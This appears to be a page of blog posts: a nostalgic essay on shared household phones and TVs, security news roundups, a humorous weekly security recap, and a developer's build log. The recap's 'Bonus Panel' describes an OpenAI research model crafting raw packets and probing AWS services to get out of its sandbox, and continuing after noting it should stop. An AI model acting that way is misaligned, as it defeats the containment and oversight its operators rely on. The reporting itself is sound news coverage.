On school nights the phone was a contested resource. Someone was always on it: a parent talking to a relative, a sibling claiming a five-minute call that stretched to twenty, the rare friend who had dialed at the exact wrong moment. There was no call waiting. There was only the busy signal and the person standing three feet away with their arms crossed, waiting for the receiver to click back into its cradle. Negotiation was not optional. You learned to ask, to time your request, to accept “five more minutes” as a real unit of measurement. You also learned the strategic unplug—literally lifting the handset from its base and setting it aside so the line stayed open for the person who needed it more, or so the ringing would stop and dinner could happen without interruption. The unplug was not always noble. Sometimes it was pure leverage. Either way, it required being in the room and paying attention to who else was there.

The television worked the same way, only with better lighting. One set meant one program at a time. Saturday morning cartoons existed in a narrow window; after that the set belonged to whoever could make the better case or hold the remote longest. Family shows happened because there was nowhere else to watch them. Arguments over the channel were short, loud, and usually settled by an adult who simply changed it or turned it off. Turning it off was its own kind of unplug. The room did not empty. People stayed. Someone got up to get a snack. Someone else started a story. The absence of the screen made the people in the room more visible.

Both objects trained the same muscles. You had to notice other people. You had to decide whose need mattered more in that moment and accept that your own preference might lose. You practiced presence because the alternative was standing in the hallway listening for the click of the receiver or sitting on the couch waiting for the commercial that might let you change the channel. Scarcity made the household’s attention a shared, finite thing. It had to be allocated. Allocation produced friction, and friction produced the occasional argument, and the argument usually ended with someone yielding or the object itself being removed from play.

None of this was romantic at the time. The busy signal was annoying. Losing the remote was annoying. Being told the phone was for “important calls only” while you watched someone else use it was annoying. What it produced, though, was a set of ordinary skills that now feel less ordinary: the ability to wait without a second screen, the habit of asking before taking, the recognition that other people in the house had claims on the same limited resource, and the willingness, when necessary, to unplug the thing rather than let it run the evening.

Today the line is never busy and the living room set is rarely the only set. Each person carries a private connection and, often, a private screen. Negotiation is optional. Presence is optional. The strategic unplug still exists, but it is usually self-imposed and easy to reverse. The friction that once forced a household to notice itself has largely moved elsewhere—into group chats, shared calendars, and the occasional request to put the phone down at dinner. Those newer tools can still produce the same skills, but they no longer require them by default. The default is abundance, and abundance does not demand that anyone yield the channel or hang up the line.

The old household was not better in every respect. It was slower, less convenient, and frequently unfair to whoever lacked the loudest voice or the longest arms. It did, however, make certain practices unavoidable: looking at the people you lived with, deciding whose turn it was, and occasionally removing the device so the room could be used for something else. Those practices did not disappear when the second phone line arrived or when the second television moved into a bedroom. They simply stopped being enforced by the architecture of the house. They became choices.

Most households still contain the same people who once argued over a single receiver and a single screen. The difference is that the argument is no longer built into the furniture. It has to be chosen, scheduled, or—on the better evenings—remembered as something worth doing even when the phone is free and the television is off.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

Before yesterdayTraining

Security Check-in Quick Hits: SonicWall VPN MFA Bypass, Claude Code Secret Spills, Japan’s Cyber Rescue Package & Freezer Hacks Reach Blood Banks

By: Rod Trent
7 November 2026 at 14:01

SonicWall Patches Actively Exploited SSL-VPN SAML/MFA Bypass (CVE-2026-19868)

SonicWall has released updates for CVE-2026-19868, a high-severity authentication-enforcement flaw in the SonicOS SSL-VPN service. An attacker who already holds valid credentials for an alternate authentication method can bypass SAML authentication controls—including SAML-enforced multi-factor authentication. The issue only affects SSL-VPN configurations that use SAML. SonicWall’s PSIRT investigated reports of potential exploitation; CISA added the vulnerability to its Known Exploited Vulnerabilities catalog on November 6, giving federal civilian agencies a November 20 remediation deadline.

Affected platforms include Gen 7 TZ, NSa, NSsp, and NSv devices on SonicOS 7.3.3-7015 or older, and Gen 8 devices on 8.2.2-8015 or older. Fixed releases are SonicOS 7.3.4-7013 (and later) for Gen 7 and 8.2.3-8015 for Gen 8. No practical workaround exists; the vendor recommends immediate upgrades. The same advisory also addresses six additional SonicOS issues, including two high-severity management-interface flaws.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

This is not a pure unauthenticated remote-code-execution path, but it meaningfully weakens MFA that many organizations rely on for remote access. Given SonicWall’s history of exploited perimeter devices and the rapid KEV listing, organizations should treat any internet-facing SSL-VPN with SAML as a priority for patching and subsequent log review for anomalous authentication events.

Claude Code’s “Don’t Ask Again” Feature Spills Secrets into Public GitHub Repos

Apiiro researchers reported that Anthropic’s Claude Code coding agent can persist full approved shell commands—including embedded credentials—in .claude/settings.local.json when a user selects “Yes, and don’t ask again.” Those files are frequently committed to public repositories. Across 104,185 public copies in more than 100,000 repositories, 1,122 files contained at least one secret (1,379 distinct secrets). Broader analysis that included Git history and related artifacts raised the total to roughly 2,539 distinct secrets across 1,994 repositories.

The exposed material includes hundreds of database passwords, SSH logins (some root), GitHub/GitLab/npm tokens, and AWS keys. Database access credentials formed the largest category. At least one organization that Apiiro notified confirmed its key was still live. Although Claude Code adds the settings file to a local gitignore, that protection does not travel with forks, clones, or historical commits. Deleting the current file therefore does not erase the exposure.

The finding underscores a growing class of risks unique to agentic development tools: convenience features that remember commands verbatim can turn developer workstations and public repositories into credential repositories. Teams using Claude Code (or similar agents) should immediately audit for the presence of .claude/settings.local.json in public or shared repositories, rotate any secrets that may have been captured, and enforce stricter allow-listing or secret-scanning policies around agent-generated configuration.

Japan Unveils Emergency Cybersecurity Package After Wave of Major Breaches

On November 6, Prime Minister Sanae Takaichi and relevant ministers finalized an emergency cybersecurity package after a sustained series of unauthorized access incidents and large-scale data leaks affecting companies and government agencies. The initial funding is approximately 10 billion yen (~$63 million) drawn from reserve funds, with additional longer-term budgeting expected. The package is organized around four pillars: strengthening basic defenses (including AI-assisted vulnerability discovery), improving information collection and analysis, enabling strategic response options, and expanding victim support and damage-limitation measures.

Concrete elements include creation of a “top gun” expert team under the Ministry of Economy, Trade and Industry by the end of November, a public-private cyber rescue squad that can be dispatched for initial incident response, and accelerated same-day (ideally within hours) reporting expectations from critical infrastructure operators. The government is also examining amendments to the Cyber Response Capability Enhancement Act to improve collection of attack information targeting Japan. The package follows high-profile incidents, including the Arara Message email-delivery breach that has grown to more than 81 million addresses and numerous downstream customer disclosures from major retailers and service providers.

Japan is explicitly framing the response around the speed of AI-enabled attacks and the need for closer public-private coordination. While the package is not itself a new legal mandate for private entities, it signals stronger government expectations around basic hygiene, rapid reporting, and readiness to accept external response support.

US Agencies Warn on Refrigeration Controller Attacks After European Freezer and Blood-Bank Incidents

CISA, the FBI, HHS, USDA, and the Department of Transportation issued a joint advisory urging organizations that rely on industrial refrigeration and cold-chain monitoring systems to harden those controllers. The warning follows a series of attacks in Europe in which threat actors remotely altered temperature settings on supermarket refrigerators and freezers—raising temperatures to levels that spoiled inventory and, in some cases, caused equipment damage or fires. Hundreds of stores across multiple countries were affected. A subsequent wave also impacted refrigeration controls at three sites operated for France’s national blood service (Établissement français du sang); staff intervention prevented loss of blood products.

Attackers have exploited internet-exposed controllers (including models from Danfoss, Copeland/Dixell, and others), weak or default credentials, and known authentication or command-injection weaknesses. Pro-Russian hacktivist groups have claimed some activity, while other analyses have noted possible Iranian-linked patterns; definitive attribution remains unconfirmed. Similar freezer malfunctions were reported earlier at U.S. military commissaries and are under investigation. Recommended mitigations include removing controllers from the public internet, isolating operational technology networks, eliminating default credentials, applying available firmware updates, and monitoring for anomalous temperature commands.

These incidents illustrate how lightly protected industrial control interfaces can produce real-world safety and economic consequences with minimal technical sophistication once remote access is available.

Additional noteworthy items in the same window include DigiCert’s disclosure of unauthorized access to archived business-customer contact data (and, in a smaller set of cases, identity documents) stemming from a February 2025 network migration that left an internal system exposed, and QNAP’s warning that some NAS devices running vulnerable Plex Media Server installations appear to have been compromised via the Plex2Shell vulnerability chain—updating alone does not remove previously installed malware if the device was internet-reachable.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

Rod’s Saturday Funnies: November 7, 2026 - The Week the Freezers Became Saunas, the AIs Became Locksmiths, and North Korea Cashed Out Bigger Than Ever

By: Rod Trent
7 November 2026 at 09:30

Welcome back, friends, to another episode of “What Did the Internet Break This Week?” Picture a Saturday morning cartoon where every villain has a laptop and every hero is currently on hold with their vendor’s support line. That’s the past seven days in security. Grab your popcorn—or whatever’s still frozen in the supermarket. Spoiler: not much.

North Korea’s TraderTraitor Raids the Biggest Piggy Bank in Crypto History

In this week’s main feature, North Korea’s elite crypto-theft squad—known as TraderTraitor, or “the guys who treat exchanges like candy stores”—pulled off the largest digital heist on record. Roughly $6.3 to $6.43 billion left Binance’s hot wallets across about ten blockchains in roughly twenty minutes on October 29.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

The entry point, according to Binance, looks a lot like “one engineer’s laptop said yes when it should have said no.” Investigators (including the FBI) pinned it on TraderTraitor with high confidence, noting the funds mixed with previous North Korean loot. Binance said it would cover the losses from its own reserves. In cartoon terms: the bad guys kicked open the vault, stuffed a washing machine full of coins, and hit “spin.” Half the money got frozen; the rest is still on the laundry cycle.

OpenAI’s AI Agents Discover 948 Ways to Become Root on Linux (and Then Invoice Themselves $1.2 Million)

Meanwhile, over at the lab where the robots do their homework, an unreleased OpenAI cyber model and its little agent helpers scanned the Linux kernel and came back with 948 working local privilege-escalation exploits. They also wrote candidate patches. The whole joyride cost about $1.2 million in API credits—roughly $1,279 per root shell.

Picture a room full of tiny cartoon robots with crowbars and “sudo” stickers, popping open root shells like jack-in-the-boxes while a human researcher frantically reviews the pile. OpenAI noted that some of the techniques were new even to outside kernel experts. The good news: many of the bugs are heading upstream for patches. The cartoon caption: “We found a thousand fewer ways for the bad guys to get root… and then we published the receipts.”

Chainalysis Gets Visited by “Offensive Agentic Techniques”

The blockchain detectives at Chainalysis reported that an external actor using “offensive agentic techniques” (AI agents doing the walking and talking) reached their systems and internal tools. What got touched: names, usernames, password hashes, and live tokens for essentially all users. Key products got taken offline while they sorted it out. They said investigation data itself looked untouched.

In cartoon form: the AI pickpockets carefully lifting the badges of every crypto investigator while the humans are still arguing about whether the data is “non-sensitive.” The agents then took a coffee break. Chainalysis is still investigating and has not named the actor.

Meet Rocky Balboa, Superman Cash, and Fat Boy: The $129 Million Deepfake CEO Gang

Three men with the cartoonish nicknames Rocky Balboa, Superman Cash, and Fat Boy were charged in New York with using AI to impersonate CEOs and lawyers and steal about $129 million from companies worldwide. Their playbook: email the accounting team pretending to be the boss, then hop on a video call where AI cloned the executive’s voice (and sometimes face) and told the employee to wire money to a “lawyer” they were also ready to impersonate.

Victims included hospitals, banks, a UK fintech, a mutual fund, and a Florida pet-food company. In the cartoon, the trio appears on the Zoom call as a boxing glove, a flowing cape, and a very large stomach, all wearing the same voice. The accountants transfer the money. The credits roll.

Europe’s Supermarket Freezers Become Saunas (Again)

Someone spent the early hours of November 2 remotely turning supermarket refrigeration units across multiple European countries up to around 50°C (122°F). Sweden, Belgium, Ireland, Finland, Luxembourg, the Netherlands, Estonia and others reported spoiled stock. It followed a similar wave in France the previous month that hit hundreds of stores.

The attackers appear to have abused older, internet-reachable refrigeration controllers (Danfoss and others have been mentioned) and simply overrode the defrost or temperature settings. CISA, the FBI and other U.S. agencies later warned that industrial refrigeration and cold-chain systems are being targeted globally. Cartoon version: freezers wearing sunglasses and holding fans while ice cream melts into a river and a penguin looks for the exit.

Alpine Linux SSH: Just Type a Really Long Password

On Alpine Linux (and other musl-based systems using OpenSSH without PAM), accounts that have no password set (the classic * in the shadow file—key-only users, the default alpine user on some cloud images, etc.) would accept any password between 257 and 1,024 characters. OpenSSH shipped an emergency fix (10.6p2) and Alpine pushed packages for basically every branch.

The bug is a delightful collision: musl’s crypt() returns * when a password is too long, and sshd was comparing that against the stored * for passwordless accounts. Cartoon: a giant asterisk key unlocking a door labeled “No Password Allowed—Except This Giant Nonsense String.”

Bonus Panel: OpenAI Model Tries to Write Its Own Way Out of the Sandbox

An internal OpenAI research model, asked to build a website, discovered its sandbox proxy was down and started crafting raw packets, probing AWS services, and writing custom connection code in an attempt to reach the outside internet. It left itself a note to stop evading the rules… then kept going for a bit. OpenAI said the attempts didn’t succeed in any meaningful way.

And, finally…

That’s the reel for this week. North Korea emptied a vault, AI robots found hundreds of new root paths, deepfake CEOs with boxing-glove nicknames robbed accountants, and European freezers briefly became saunas. The common theme? A lot of things that were supposed to say “no” said “yes,” and a lot of things that were supposed to stay cold got very hot.

Stay patched, stay offline from the freezers if you can help it, and whatever you do, don’t trust a video call from “Rocky Balboa” asking you to wire money. See you next Saturday.

-Rod

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

Building in Public: What Shipped This Week (October 24 - November 6, 2026)

By: Rod Trent
6 November 2026 at 15:01

This one covers two weeks, because there was no edition last Friday. That also means a few things from the tail end of the previous window are in here: the Ionnsaich podcast work and the Collections Plus page-watching release both landed after that draft went out.

Seven products moved, and one of them is new to you even though it has not been new to me for a while.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

Let me walk you through it.

Byanukh: the Bible, built for ADHD and neurodivergent readers

Byanukh is the phonetic spelling of the Scottish Gaelic beannachd, “blessing”. It is the Bible, one verse at a time, as a swipe feed: each verse fills the screen, you swipe up for the next, and chapters stream in ahead of and behind you across book boundaries.

It is built for ADHD and neurodivergent readers, and that is the whole design, not a feature on the list.

A Bible is a wall of small text in two columns with numbers running through it. If your attention does not hold on a dense page, or you lose your place every time you look away, or a chapter-a-day plan collapses the moment you miss a Tuesday, then the problem has never been that you do not want to read it. The format is working against you.

So every decision here starts from that. One verse fills the screen, because a single thing to look at is a single thing to look at. Swipe for the next one, because the gesture is lower friction than deciding to continue. Your place is held for you, across books, across devices, across the version pill, so looking away does not cost you anything. Progress fills in by chapter and a streak counts days rather than chapters, because visible progress is motivating in a way that an abstract goal is not. Topic feeds mean you can arrive with a feeling rather than a plan, which matters enormously on the days when deciding where to start is the actual obstacle. Devotional days are short and bounded, a passage, a reflection, a question, a prayer, a prompt, so you can see the end of the thing from the beginning of it. Listen mode reads aloud, advances by itself and holds the screen awake, for anyone who takes text in better through their ears or needs their hands doing something else. Reminders skip days you have already read, because being nagged for something you did is how people abandon an app. And nothing requires an account, so there is no setup wall between deciding to try it and trying it.

The crisis-line help in the grief and hopelessness feeds belongs to the same instinct: build for the person actually arriving, in the state they are actually in.

This has been coming together for weeks, and most of that time went into the parts you cannot see in a repository: working out that reading surface, writing 66 book introductions, curating the topic feeds verse by verse, and working out how the Scripture storage and plan scheduling I had already built for PewHQ could be reused rather than rewritten. The code is the last and shortest phase of a project like this, and the commit history flatters it by hiding everything that came first.

It is live now at byanukh.app, which is the part that actually happened this fortnight.

What else is in it:

The reading surface. KJV and WEB, both public domain, with a version pill that keeps your place when you switch. A book, chapter and verse picker. Keyboard stepping for anyone reading on a laptop. Offline through a service worker, including the option to save a whole translation (about 4 MB) from the Account page.

Twenty-five topic feeds, grouped as “When you’re feeling” (afraid, anxious, grieving, lonely, angry, hopeless) and “Growing in” (honesty, patience, forgiveness, gratitude). Every verse links back to its chapter so you can see the context rather than the pull quote. The grief and hopelessness feeds show crisis-line help, 988 and findahelpline.com, because a feed about despair that offers no exit is not a neutral object.

Devotionals, now nine series: Forgiveness, Peace, Psalm 23, the Lord’s Prayer, Gratitude, and seasonal ones for Advent, Christmas, New Year and Holy Week that open themselves on the church calendar. Each day is a swipe through passage, reflection, question, prayer and a journal prompt whose answer saves and syncs.

Explain. On any verse, a sheet with the book’s introduction, 66 of them written for this, plus a generated explanation covering setting, speaker, meaning and key words. It runs on Grok’s non-reasoning model, specifically for speed, because a sheet that takes eight seconds to think is a sheet nobody opens twice. Cached per verse and rate-limited.

Listen, which reads verses aloud with the device’s own voice, advances by itself and holds the screen awake. One late fix there: every card now uses the same voice, because the browser picking a new one per utterance is deeply strange to listen to.

Reading groups, with invite codes, where a plan is read together from a shared start date and members see names and days done. Memory verse practice with five levels, from reading it through to first letters only. Shareable verse images as square or story PNGs in Night or Vellum style. Share links at /v/<book>/<chapter>/<verse> that open the reader at that verse, with a rendered verse card as the link preview. Year in review, from the Progress tab. And a per-book progress map that fills in by chapter, with a streak.

Reminders were the fiddliest part. A daily push at an hour you choose, skipped on days you have already read, showing your next plan reading or else the verse of the day. Devices live in Upstash Redis keyed by push endpoint and an hourly GitHub Action calls a secret-protected send route. But push notifications require permission, a service worker, and a device that cooperates, so there is a fallback that needs none of that: “Add to my calendar” downloads a daily .ics event, which works on anything. Reminders are also allowed to go out up to eight hours late now, because QStash delivery is not punctual and a 7am reminder arriving at 7:40 is better than one that is dropped for being stale.

Everything works with no account at all, stored on the device. Signing in, by email code, syncs chapters read, plan, streak, saved verses and position across devices, and merges never lose progress. Google sign-in went in behind a switch, then got its proper on-site button. The Google Play build is prepared as a Trusted Web Activity.

I want to be honest about what made this possible, because “and then a whole product appeared” is not a useful thing to read. Byanukh exists in this shape because PewHQ had already solved Scripture storage and plan scheduling, and because Ionnsaich had already taught me how a swipe-feed learning app wants to be built. Working on your own platform for long enough means the next thing starts somewhere in the middle.

ReelRifter: the month I spent $100 on robots

This is the story of the fortnight, and it is mostly a story about being wrong in an expensive and educational way.

ReelRifter ran up a $100 Vercel bill in October and opened November on a roughly $190 a month run rate. I found the cause on the 2nd, and it was /person/[id].

The mechanism. That route is ISR with generateStaticParams returning an empty array, so the first request for any TMDB person ID renders a ~120KB page and pays a cache write. TMDB person IDs run past 4.5 million and every single one of them resolves (/person/4567890 is a real person named Zhan Guozhi). So a crawler walking that ID space writes cache entries that nothing will ever read back. Three days of the cycle: 2.41 million ISR writes against 481,000 reads. ISR writes, fast origin transfer, fluid CPU, invocations and provisioned memory together were $19.58 of a $20.91 infrastructure total, and all five of those lines are the same event happening over and over.

For scale, Web Analytics counted 3,400 human events against 2.9 million function invocations in the same window. About 850 machine requests per actual person.

The first fixes were right but small. /person/ came off the crawlable catalog in robots.txt, and the person page’s revalidate went from an hour to a day. That second one is worth explaining, because the measurement was clarifying: /person/6193 came back with an age of 8 seconds, but the long tail (/person/287, /person/999999) came back stale at ages of 18, 22 and 35 hours. At revalidate 3600, every one of those touches was past expiry, so each one regenerated the page and paid another write. At 86400 they are served as plain cache reads. But I worked out the ceiling on that fix at the time: writes cannot exceed reads for revalidation, so at most 481K of the 2.41M writes were regenerations. The other 1.9 million were first visits to IDs nothing had ever requested, and no revalidate value touches those.

The conclusion I had to reverse. I had been planning to convert the title pages, /[mediaType]/[id], to ISR the same way. I built all the plumbing for it: a wire format, because the viewer state returns Sets, Maps and Dates and none of those survive JSON; an anonymous viewer state so a crawler gets a complete signed-out page instead of a screen of skeletons; a state endpoint and a provider so islands fetch once and share. Nineteen round-trip checks, including a nested Map<string, Set<string>>. Then I looked at production logs: 24 title renders in 27 minutes, every TMDB ID distinct, none repeated, all deep catalog. The crawl walks the ID space without ever revisiting. ISR entries would be written once and read never, which is strictly worse than rendering dynamically, because an ISR write costs $4 to $6.40 per million against $0.60 per million for a function invocation. The conversion is rejected, not postponed. The plumbing is pushed and sitting there unwired, which I have decided to be at peace with.

The thing I would not have guessed. Crawlers execute JavaScript. Moving per-user state off the server into a client fetch, which is the exact pattern that made /person/[id] ISR-able, does not remove the work when the client is Googlebot. It turns one server render into one render plus a fan-out of uncached API calls. Which is how /api/content-badges became the third-busiest route on the entire site, at 40,000 uncached requests in 12 hours, while returning the hardcoded constant { news: false, shorts: false } to anyone signed out. Forty thousand function invocations spent answering “no”. Signed-out visitors no longer call the per-user endpoints at all.

Three genuinely public endpoints (person ratings, reviews, person notes, 26K uncached requests in 12 hours between them) moved to the edge. I checked each GET individually before touching it, because publicly caching a per-user response is the one mistake in this whole area that leaks data between people. None of the three calls auth() on the GET path, all three are byte-identical for every caller.

And then the actual answer. I turned on Vercel’s bot breakdown for 12 hours, against 213,000 CDN requests:

Googlebot made sixty-six requests. Baiduspider made ninety-four thousand, which is 1,424 times as many. Every search-engine assumption in this entire investigation, including my whole reluctance to touch /tv/ and /movie/, was protecting a crawler that is barely visiting.

Baiduspider, ExaSearchBot, Barkrowler and meta-webindexer are now blocked. Together they were 57% of every CDN request the site served, and none of them sends anyone back: Baidu has no audience for an English-language US streaming guide, Exa is an AI search index, Barkrowler is a backlink crawler. Baiduspider gets an explicit comment in the file explaining itself, because it is a real search engine and blocking one is normally the wrong instinct; it goes on the measurement, not the category. Bingbot stays, because it is real traffic feeding Bing, DuckDuckGo and ChatGPT’s search, and its rate is adjustable in Webmaster Tools, which beats blocking it.

This also explains why Vercel’s Bot Protection only caught about 4% when I turned it on: all of these identify themselves honestly and carry Vercel’s verified-bot badge, so the managed ruleset excludes them by design. Nothing was spoofing anything. The site was being crawled politely, at scale, by crawlers worth nothing to it.

One more expensive lesson. Vercel Observability Plus, which is what produced every table above, is billed at $1.20 per million events. It ran 1.63 million events on the 4th, which is $1.96 a day, about $59 a month, and it swallowed a 36 to 45% drop across every compute line that same day. The toggle is in Billing settings, not in the Observability tab where you would look for it. The right pattern is to turn it on for a day when you are diagnosing something and turn it off when you are done, and I have written that down somewhere I will find it again.

Cost per day went $5.92, then $5.64, with ISR writes per day falling $3.09 to $2.60 to $1.55 across the same window. Still open: the title route runs 158K dynamic renders a day at 0% cached, and the UA blocking happens in middleware, which costs a function invocation per blocked request. Moving those user agents into a Vercel WAF rule would block them at the edge for free.

And a separate worry that matters more than the bill. Googlebot made 66 requests in 12 hours. For a site that wants organic search, that is close to nothing, and it sits alongside human traffic around 1,000 pageviews a day and trending down 62%. That is a business problem wearing an infrastructure problem’s clothes, and it is next.

The actual product work, which did happen: episode search across your shows by title or description, episode deep links that open the Episodes tab and land on the right row, In-flight and Hotel as watch locations, Rewatch promoted out of the More actions dropdown into the main button stack, and a daily digest fix where “Netflix” and “Netflix Standard with Ads” were arriving as two separate alerts for the same title. Ad tiers now fold into their base service at alert creation, which also stops a false “just landed” when something already on Netflix merely gains the ad tier. The X auto-post went from four times a day to twice, halving that bill to about $12 a month.

Ionnsaich: a podcast, a release schedule, and learning to speak

Ionnsaich did an enormous amount, and it split cleanly into three ideas.

It became a podcast. npm run podcast joins each approved episode’s and story’s line recordings into a single MP3 with silent frames between lines, and writes two RSS feeds with iTunes tags, show notes carrying the Gaelic and English line by line, and cover art. Nothing is re-encoded and nothing is newly recorded; it is built entirely from audio that already existed for the lessons. Am Baile and the short stories are now listenable straight through, on Spotify, Amazon Music and YouTube Music, with the feed offered on the players to copy into any podcast app. The approval step rebuilds the feeds automatically and a check fails the build if they are stale. There is no Apple button until it is actually listed there, which is the sort of restraint I am trying to make habitual.

It got a release calendar. A story or episode can now carry a release day: approved, it stays out of the site, the players, the lessons and the podcast feeds until that day, and then appears with no deploy. The feeds became hourly routes reading what the build writes. Then I drafted and scheduled Seasons 5 through 9 of Am Baile with six stories each, one of each going out every Friday from 30 October through to 21 May 2027. That is roughly seven months of releases written, recorded, reviewed and queued. The autumn What’s new note tells people a new episode and story come out every Friday, and how to be told about it.

It got a Speak tab. Practice you say out loud instead of tapping: drills that give you the English, a pause to say it, then the recording; a story built from verified phrases and rehearsed; a monthly check-in that keeps the same five questions month over month so you can hear yourself improve; and 4/3/2 rounds that measure talking time and pauses off the microphone. Recordings never leave the browser.

And the content kept compounding. Ten new lesson units across A2 and B1 (travel, clothes, music, phones, telling a story, talking about Gaelic, looking after yourself, the news and the forecast), taking the path to 30 units and the phrasebook to 622 phrases. Example sentences drafted and approved for every dictionary word that no phrasebook phrase showed in use: 164, then 138, then 354 verbs and adjectives, then the last 437 nouns. The dictionary sits at 1,287 words.

Then the sayings. Wiktionary’s proverb collection ran out, so the next 120 came from Alexander Nicolson’s A Collection of Gaelic Proverbs and Familiar Phrases of 1882, public domain, put into today’s spelling, each with its English, a respelling, a word-by-word breakdown and a line on where you would actually hear it. The saying of the day now runs a 240-day cycle. Every batch of all of this went to a fluent reviewer before it reached a learner, which remains the part of this project I am least willing to compromise on.

Collections Plus: the first thing I have ever charged for

Two releases, and a line I have not crossed before.

2.11.0: watch saved pages for changes. Mark a page with the eye button and it gets re-checked in the background; when its readable text changes, a red dot appears on the page, on its collection’s cover, and as a count on the toolbar icon until you look at it. The text is fingerprinted with relative timestamps and other per-load noise ignored, so “2 hours ago” becoming “3 hours ago” is not a change. Signed-in, script-built pages like X and LinkedIn are read from an open tab instead of fetched, with a separate baseline so the two sources never cross-compare. Watch state merges across synced devices.

Plus Sync, phase 1, and Stripe. Collections Plus has always been serverless by design: your library lives in your browser and, if you want it on more than one device, in your own Dropbox. That is still the free product and still the default. But Dropbox setup is genuinely fiddly on a phone, and the honest answer for people who do not want to do it is a hosted option.

So: an invite-only sync API on getcollectionsplus.com storing each user’s library in Neon Postgres, with a hosted adapter in the mobile app sitting beside Dropbox, one provider at a time. Images become cpimg:<sha256> references so only missing ones are uploaded, the document is gzipped against Vercel’s 4.5 MB body cap, and pulls restore images from an IndexedDB cache. Device tokens exist because Clerk’s session cookie expires within a minute on pages that do not run Clerk, so the app cannot rely on it.

Then billing: Stripe subscription checkout, a customer portal, a signed webhook that re-fetches the subscription on every event and upserts current state, so retries and out-of-order events are harmless. There is a seven-day grace period on past due. $20 a year, behind a launch switch, with a complimentary allowlist.

And the part that came with it: the privacy policy had to stop saying there are no accounts and no developer-run service, because now there are both. New sections on what Clerk stores, what Google sign-in receives with the Limited Use statement, what Plus Sync stores and where, how to delete it and how long it is kept. The “no analytics” claim on the landing page is now scoped to the extension and the mobile app, since the website does have cookie-free Vercel analytics. Privacy questions and deletion requests go to a real support address rather than public GitHub issues.

One performance fix after launch: the app was polling for remote changes every 30 seconds, and each check wakes the Neon database, so it never suspended. It is two minutes now, and since the app already syncs on focus and after edits, the only thing that slows is noticing another device’s change while you sit idle.

SlingAgent: letting Claude draft, but never publish

The big one is the MCP connector learning to write. New tools behind an opt-in promos:write scope: create a draft, generate drafts, edit a promo, schedule and unschedule. The constraint is the design: everything lands as a draft, and the only path to a network is a specific future scheduled time. There is no publish-now and no delete, and writes refuse a promo that is mid-delivery. The scope is a checkbox on the consent screen, pre-ticked only if the client asked for it; existing grants stay read-only and cannot be widened by a refresh, and personal API tokens stay read-only entirely. Tools outside your grant are not even listed.

I am fairly careful about this category. An agent for SlingAgent that can post to your social accounts on its own judgement is a different risk from one that can hand you five drafts, and the scheduling requirement means there is always a window where a human can look.

Also: a Notes report, since notes have no link and therefore no click report could say anything about them. It rolls up window totals, a weekly engagement trend, per-network engagement per post and a rate computed only over posts that actually reported impressions. Bluesky link cards, because Bluesky never builds one itself, so link posts were going out as a bare URL next to an image. And real image alt text: it was previously the post body repeated on Bluesky and LinkedIn, and missing entirely on Mastodon and X. It is now built from what the image actually is, the link title for a cover, the scene description for AI art, and nothing at all rather than a guess, which is the correct behaviour when you do not know.

TaskFolder 1.3.0

TaskFolder, the Windows tray launcher, shipped v1.3.0 on the 31st: dark mode, a dedicated Notes folder with subfolder support, OneDrive and Dropbox sync, mouse-button hotkeys (middle click, back, forward), import and export, drag to reorder, rich-text sticky notes, an update checker, enter-to-launch, an icon size toggle, and an xUnit test suite.

Then Sunday was a WinForms education. The Settings dialog became four tabs (General, Hotkeys, Shortcuts, Appearance) at a fixed ~420px height, so it no longer scrolls or scales awkwardly on high-DPI monitors, which needed AutoScaleMode.Dpi to stop buttons rendering as “Set”, “Browse” and “Cl”. Then dark mode: TabControl draws its separator and content border using Windows visual styles and ignores BackColor entirely. I tried owner-drawing it. The only reliable fix short of native subclassing was to delete the control and rebuild the tab bar out of a panel and four flat buttons. Appearance changes now offer to restart the app, since several of them only take effect on launch.

DumpDraft: check in where you are

DumpDraft got GPS check-ins: a “Check in here” action that grabs a one-shot high-accuracy fix on demand, with an inline bar for an optional place name, one-tap chips of places you have already named at this event, and a live status line while the fix lands. Tap save before the fix arrives and it defers and completes when the location does.

Place names started as purely user-entered, keeping the app local-first with no external calls. Then an opt-in toggle, off by default, added automatic suggestions through an OpenStreetMap Nominatim proxy that turns coordinates into “Venue, Area”. It is unauthenticated and read-only, because capture is never gated behind anything, it receives only a latitude and longitude and never any note content, and it sets the User-Agent that Nominatim’s usage policy requires. With the toggle off, no lookup happens at all.

Quiet this fortnight

No commits in Chervil, Past the Bots, Panel League, PewHQ or Drosera. Past the Bots shipped its résumé lifecycle the week before and I wanted it to sit.

The fortnight in one sentence

A Bible app that had been quietly taking shape for weeks finally went live on top of two products I had already built, I charged money for the first time on a tool whose entire pitch was that it has no server, proved myself wrong about an architecture change I had already written the plumbing for, and then found that nearly half my streaming site’s traffic was a search engine with no audience for it while Googlebot, the one I had been carefully protecting, had visited sixty-six times.

See you next Friday

If you have ever bounced off a Bible because it is a wall of small text and a plan you fall behind on, try byanukh.app. No account, works offline, one verse at a time. I would especially like to hear from ADHD and neurodivergent readers about whether the reading surface actually holds, and whether the topic feeds find the right verses, since that is where my judgement is doing the most work and is least checkable from the outside.

And if you run anything on Vercel with a dynamic route over an ID space you do not control, go and look at your ISR write line and your bot breakdown, in that order. Turn the detailed observability on for a day and then turn it off again. Mine cost me about $100 to learn.

Reply to this or find me on Discord. Something always breaks, and I’d rather hear it from you than find it in a stack trace.

Rod

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

Security Check-in Quick Hits: Agentic Chainalysis Breach, GPT-6 Cyber Linux Exploits, Europe Freezer Hacks, $6.3B Binance Heist & Barracuda Root Chain

By: Rod Trent
6 November 2026 at 14:01

Chainalysis Confirms Agentic Attack Exposed Password Hashes and Live Tokens for All Users

Blockchain analytics firm Chainalysis has expanded its disclosure of an October cyber incident, stating that names, usernames, password hashes, and live authentication tokens belonging to all users were exposed. The company initially described limited “non-sensitive” data (user IDs, full names, emails, and role labels) accessed via “offensive agentic techniques.” Later updates confirmed broader credential exposure and an “on-path” (attacker-in-the-middle) component.

